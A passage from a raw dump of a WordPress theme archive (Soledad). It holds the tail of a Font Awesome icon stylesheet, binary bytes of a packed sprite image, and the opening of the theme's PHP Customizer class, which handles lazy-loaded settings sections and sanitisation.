oard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-institution:before,.fa-bank:before,.fa-university:before{content:"\f19c"}.fa-mortar-board:before,.fa-graduation-cap:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:"\f1c5"}.fa-file-zip-o:before,.fa-file-archive-o:before{content:"\f1c6"}.fa-file-sound-o:before,.fa-file-audio-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:"\f1d0"}.fa-ge:before,.fa-empire:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-send:before,.fa-paper-plane:before{content:"\f1d8"}.fa-send-o:before,.fa-paper-plane-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless:before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-hotel:before,.fa-bed:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-yc:before,.fa-y-combinator:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-sticky-note-o:before{content:"\f24a"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-diners-club:before{content:"\f24c"}.fa-clone:before{content:"\f24d"}.fa-balance-scale:before{content:"\f24e"}.fa-hourglass-o:before{content:"\f250"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass:before{content:"\f254"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:"\f255"}.fa-hand-stop-o:before,.fa-hand-paper-o:before{content:"\f256"}.fa-hand-scissors-o:before{content:"\f257"}.fa-hand-lizard-o:before{content:"\f258"}.fa-hand-spock-o:before{content:"\f259"}.fa-hand-pointer-o:before{content:"\f25a"}.fa-hand-peace-o:before{content:"\f25b"}.fa-trademark:before{content:"\f25c"}.fa-registered:before{content:"\f25d"}.fa-creative-commons:before{content:"\f25e"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-tripadvisor:before{content:"\f262"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-firefox:before{content:"\f269"}.fa-opera:before{content:"\f26a"}.fa-internet-explorer:before{content:"\f26b"}.fa-tv:before,.fa-television:before{content:"\f26c"}.fa-contao:before{content:"\f26d"}.fa-500px:before{content:"\f26e"}.fa-amazon:before{content:"\f270"}.fa-calendar-plus-o:before{content:"\f271"}.fa-calendar-minus-o:before{content:"\f272"}.fa-calendar-times-o:before{content:"\f273"}.fa-calendar-check-o:before{content:"\f274"}.fa-industry:before{content:"\f275"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-map-o:before{content:"\f278"}.fa-map:before{content:"\f279"}.fa-commenting:before{content:"\f27a"}.fa-commenting-o:before{content:"\f27b"}.fa-houzz:before{content:"\f27c"}.fa-vimeo:before{content:"\f27d"}.fa-black-tie:before{content:"\f27e"}.fa-fonticons:before{content:"\f280"}.fa-reddit-alien:before{content:"\f281"}.fa-edge:before{content:"\f282"}.fa-credit-card-alt:before{content:"\f283"}.fa-codiepie:before{content:"\f284"}.fa-modx:before{content:"\f285"}.fa-fort-awesome:before{content:"\f286"}.fa-usb:before{content:"\f287"}.fa-product-hunt:before{content:"\f288"}.fa-mixcloud:before{content:"\f289"}.fa-scribd:before{content:"\f28a"}.fa-pause-circle:before{content:"\f28b"}.fa-pause-circle-o:before{content:"\f28c"}.fa-stop-circle:before{content:"\f28d"}.fa-stop-circle-o:before{content:"\f28e"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-hashtag:before{content:"\f292"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-percent:before{content:"\f295"}.fa-gitlab:before{content:"\f296"}.fa-wpbeginner:before{content:"\f297"}.fa-wpforms:before{content:"\f298"}.fa-envira:before{content:"\f299"}.fa-universal-access:before{content:"\f29a"}.fa-wheelchair-alt:before{content:"\f29b"}.fa-question-circle-o:before{content:"\f29c"}.fa-blind:before{content:"\f29d"}.fa-audio-description:before{content:"\f29e"}.fa-volume-control-phone:before{content:"\f2a0"}.fa-braille:before{content:"\f2a1"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asl-interpreting:before,.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-deafness:before,.fa-hard-of-hearing:before,.fa-deaf:before{content:"\f2a4"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-signing:before,.fa-sign-language:before{content:"\f2a7"}.fa-low-vision:before{content:"\f2a8"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-pied-piper:before{content:"\f2ae"}.fa-first-order:before{content:"\f2b0"}.fa-yoast:before{content:"\f2b1"}.fa-themeisle:before{content:"\f2b2"}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:"\f2b3"}.fa-fa:before,.fa-font-awesome:before{content:"\f2b4"}.fa-handshake-o:before{content:"\f2b5"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-o:before{content:"\f2b7"}.fa-linode:before{content:"\f2b8"}.fa-address-book:before{content:"\f2b9"}.fa-address-book-o:before{content:"\f2ba"}.fa-vcard:before,.fa-address-card:before{content:"\f2bb"}.fa-vcard-o:before,.fa-address-card-o:before{content:"\f2bc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-circle-o:before{content:"\f2be"}.fa-user-o:before{content:"\f2c0"}.fa-id-badge:before{content:"\f2c1"}.fa-drivers-license:before,.fa-id-card:before{content:"\f2c2"}.fa-drivers-license-o:before,.fa-id-card-o:before{content:"\f2c3"}.fa-quora:before{content:"\f2c4"}.fa-free-code-camp:before{content:"\f2c5"}.fa-telegram:before{content:"\f2c6"}.fa-thermometer-4:before,.fa-thermometer:before,.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-3:before,.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-thermometer-2:before,.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-1:before,.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-0:before,.fa-thermometer-empty:before{content:"\f2cb"}.fa-shower:before{content:"\f2cc"}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:"\f2cd"}.fa-podcast:before{content:"\f2ce"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-times-rectangle:before,.fa-window-close:before{content:"\f2d3"}.fa-times-rectangle-o:before,.fa-window-close-o:before{content:"\f2d4"}.fa-bandcamp:before{content:"\f2d5"}.fa-grav:before{content:"\f2d6"}.fa-etsy:before{content:"\f2d7"}.fa-imdb:before{content:"\f2d8"}.fa-ravelry:before{content:"\f2d9"}.fa-eercast:before{content:"\f2da"}.fa-microchip:before{content:"\f2db"}.fa-snowflake-o:before{content:"\f2dc"}.fa-superpowers:before{content:"\f2dd"}.fa-wpexplorer:before{content:"\f2de"}.fa-meetup:before{content:"\f2e0"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}
PK     N\~x0  0  8  inc/customizer/framework/assets/img/sprite-skin-flat.pngnu [        PNG

   IHDR        O   PLTE   UeUe5@DS6   tRNS &sP   IDATx!1f!x0xWXOH=
8:IWd	>NI A	  ==پzG;d
#*<i*p J'A	&  0bW%		
| `ٲ>m!	AB$	AB֘P` ?w[HB$	AB$	a	 ul    IENDB`PK     N\    8  inc/customizer/framework/customizer/class-customizer.phpnu [        <?php
/**
 * This customizer plugin branch of Kirki Customizer Plugin.
 * https://github.com/aristath/kirki
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer;

use SoledadFW\Customizer\Partial\Lazy_Partial;
use SoledadFW\Customizer\Setting\Default_Setting;
use SoledadFW\Util\Sanitize;

/**
 * Class Customizer
 *
 * @package SoledadFW
 */
class Customizer {

	/**
	 * Customizer
	 *
	 * @var Customizer Customizer Instance
	 */
	private static $instance;
	/**
	 * Endpoint used for ajax request
	 *
	 * @var string
	 */
	public $endpoint = 'customizer';
	/**
	 * An array containing all panels.
	 *
	 * @access private
	 * @var array
	 */
	private $panels = array();
	/**
	 * An array containing all sections.
	 *
	 * @access private
	 * @var array
	 */
	private $sections = array();
	/**
	 * An array containing all fields.
	 *
	 * @access private
	 * @var array
	 */
	private $fields = array();
	/**
	 * Cached Array for faster access
	 *
	 * @var array
	 */
	private $cache_fields = array();
	/**
	 * An array containing partial refresh
	 *
	 * @access private
	 * @var array
	 */
	private $partial_refresh = array();
	/**
	 * Version of Customizer
	 *
	 * @var string
	 */
	private $version;

	public $section_listing;

	/**
	 * Init constructor.
	 */
	private function __construct() {
		$this->set_version();

		add_action( 'customize_register', array( $this, 'register_control_types' ) );
		add_action( 'customize_register', array( $this, 'register_section_types' ) );
		add_action( 'customize_register', array( $this, 'deploy_panels' ), 97 );
		add_action( 'customize_register', array( $this, 'deploy_sections' ), 98 );
		add_action( 'customize_register', array( $this, 'deploy_fields' ), 96 );
		add_action( 'customize_register', array( $this, 'register_customizer' ) );
		add_action( 'customize_register', array( $this, 'move_settings' ), 30 );
		add_action( 'customize_preview_init', array( $this, 'preview_init' ), 99 );
		add_action( 'customize_controls_print_styles', array( $this, 'customizer_styles' ), 99 );
		add_action( 'customize_controls_enqueue_scripts', array( $this, 'register_scripts' ) );
		add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_control_script' ), 11 );
		add_action( 'customize_controls_print_styles', array(
			$this,
			'pencidesign_customizer_devices_preview_width'
		) );

		// Partial Refresh.
		add_filter( 'customize_partial_render', array( $this, 'partial_render' ), null, 3 );
		add_filter( 'customize_dynamic_partial_args', array( $this, 'filter_dynamic_partial_args' ), 10, 2 );
		add_filter( 'customize_dynamic_partial_class', array( $this, 'filter_dynamic_partial_class' ), 10, 2 );

		// Handle dynamic setting save.
		add_filter( 'customize_dynamic_setting_args', array( $this, 'filter_dynamic_setting_args' ), 10, 2 );
		add_filter( 'customize_dynamic_setting_class', array( $this, 'filter_dynamic_setting_class' ), 10, 2 );
		add_action( 'parse_request', array( $this, 'ajax_parse_request' ) );

		// Javascript Template.
		add_action( 'customize_controls_print_footer_scripts', array( $this, 'search_template' ) );
		add_action( 'customize_controls_print_footer_scripts', array( $this, 'widget_template' ) );
	}

	/**
	 * Get theme version if using themes
	 */
	public function set_version() {
		$this->version = PENCI_SOLEDAD_VERSION;
	}

	/**
	 * Get Instance of Customizer
	 *
	 * @return Customizer
	 */
	public static function get_instance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	/**
	 * Handle ajax request for retrieving lazy section
	 *
	 * @param \WP $wp Handle request.
	 */
	public function ajax_parse_request( $wp ) {
		$nonce   = isset( $_REQUEST['nonce'] ) && wp_verify_nonce( $_REQUEST['nonce'], $this->endpoint );
		$section = isset( $_REQUEST['sections'] ) && $_REQUEST['sections'] ? $_REQUEST['sections'] : '';
		$search  = isset( $_REQUEST['search'] ) && $_REQUEST['search'] ? sanitize_title( $_REQUEST['search'] ) : '';
		if ( $nonce ) {
			add_filter( 'wp_doing_ajax', '__return_true' );
			remove_all_actions( 'final_output' );
			if ( $section ) {
				$this->get_lazy_section_control( $section );
			}
			if ( $search ) {
				$this->get_search_result( $search );
			}
		}

		return $wp;
	}

	/**
	 * Get lazy section control control
	 *
	 * @param array $sections array of sections.
	 */
	public function get_lazy_section_control( $sections ) {
		$results = array();

		foreach ( $sections as $section_id ) {
			$section = $this->get_lazy_section_files( $section_id );

			if ( ! empty( $section ) ) {
				$results[ $section_id ] = $this->compose_lazy_fields( $section, $section_id );
			}
		}

		wp_send_json_success( $results );
	}

	/**
	 * Get file location for lazy section
	 *
	 * @param string $id ID of lazy section to be searched.
	 *
	 * @return mixed
	 */
	public function get_lazy_section_files( $id ) {
		$sections = $this->get_registered_lazy_section();

		if ( isset( $sections[ $id ] ) ) {
			return $sections[ $id ];
		}

		return array();
	}

	/**
	 * Get all registered section and their respective file
	 *
	 * @return mixed
	 */
	public function get_registered_lazy_section() {
		return apply_filters( 'soledad_fw_register_lazy_section', array() );
	}

	/**
	 * Preparing lazy fields
	 *
	 * @param array $section Array of section.
	 * @param string $section_id Name of section.
	 *
	 * @return array
	 */
	public function compose_lazy_fields( $section, $section_id ) {
		$this->wp_customize();
		$results = array();

		foreach ( $section as $file ) {
			$options = $this->get_lazy_options( $file );

			foreach ( $options as $option ) {
				$results[ $option['id'] ] = $this->compose_lazy_option( $option, $section_id );
			}
		}

		return $results;
	}

	/**
	 * Get WP Customize Instance. if its empty then we need to create one
	 *
	 * @return \WP_Customize_Manager
	 */
	public function wp_customize() {
		global $wp_customize;

		if ( empty( $wp_customize ) || ! ( $wp_customize instanceof \WP_Customize_Manager ) ) {
			require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
			$wp_customize = new \WP_Customize_Manager();
		}

		return $wp_customize;
	}

	/**
	 * Get all option
	 *
	 * @param array|callable $file Callback or path to option.
	 *
	 * @return array|mixed
	 */
	public function get_lazy_options( $file ) {
		$options = array();

		if ( is_array( $file ) ) {
			$options = call_user_func_array( $file['function'], $file['parameter'] );
		} elseif ( file_exists( $file ) ) {
			$options = include $file;
		}

		return apply_filters( 'soledad_fw_customizer_get_lazy_options', $options );
	}

	/**
	 * Prepare lazy option to fit with customizer setting
	 *
	 * @param array $option Raw option.
	 * @param string $section_id Name of section.
	 *
	 * @return array
	 */
	public function compose_lazy_option( $option, $section_id ) {
		$result = array();

		// force assign section & dynamic control.
		$option['section'] = $section_id;
		$option['dynamic'] = true;
		$field             = $this->filter_field( $option, true );

		// Assign Setting ID.
		$setting_id          = Default_Setting::create_lazy_setting( $section_id, $option['id'] );
		$result['settingId'] = $setting_id;

		// assign setting json.
		$setting           = $field['setting'];
		$setting_instance  = $this->do_add_setting( $setting, $setting_id );
		$result['setting'] = $setting_instance->json();

		// assign control json.
		$control           = $field['control'];
		$control_instance  = $this->do_add_control( $control, $setting_instance );
		$result['control'] = $control_instance->json();

		return $result;
	}

	/**
	 * Create Customizer setting, control, and partial refresh
	 *
	 * @param array $field Unfiltered control.
	 * @param boolean $dynamic flag for dynamic control.
	 *
	 * @return array
	 */
	public function filter_field( $field, $dynamic = false ) {
		$setting = $this->compose_setting( $field );
		$control = $this->compose_control( $field, $dynamic );
		$partial = $this->setup_partial_refresh( $field );

		// Hack transport to have postMessage.
		if ( ! empty( $partial ) ) {
			$setting['transport'] = 'postMessage';
		}

		return [
			'setting' => $setting,
			'control' => $control,
		];
	}

	/**
	 * Prepare single setting
	 *
	 * @param array $field Unfiltered setting.
	 *
	 * @return array
	 */
	public function compose_setting( $field ) {
		$setting = array();

		$setting['id']           = $field['id'];
		$setting['type']         = isset( $field['option_type'] ) ? $field['option_type'] : 'theme_mod';
		$setting['default']      = isset( $field['default'] ) ? $field['default'] : '';
		$setting['transport']    = isset( $field['transport'] ) ? $field['transport'] : 'refresh';
		$setting['sanitize']     = isset( $field['sanitize'] ) ? $field['sanitize'] : $this->sanitize_handler( $field['type'] );
		$setting['control_type'] = $field['type'];
		$setting['settings']     = isset( $field['settings'] ) ? $field['settings'] : '';

		return $setting;
	}

	/**
	 * Handle input sanitize for every type
	 *
	 * @param string $type Type of control and what kind sanitized to be used.
	 *
	 * @return array|string
	 */
	public function sanitize_handler( $type ) {
		$sanitize_class = Sanitize::get_instance();

		switch ( $type ) {
			case 'checkbox':
			case 'soledad-fw-toggle':
				$sanitize = array( $sanitize_class, 'sanitize_checkbox' );
				break;
			case 'image':
			case 'upload':
				$sanitize = array( $sanitize_class, 'sanitize_url' );
				break;
			case 'soledad-fw-typography':
				$sanitize = array( $sanitize_class, 'sanitize_typography' );
				break;
			case 'soledad-fw-number':
			case 'soledad-fw-slider':
				$sanitize = array( $sanitize_class, 'sanitize_number' );
				break;
			case 'repeater':
			case 'soledad-fw-repeater':
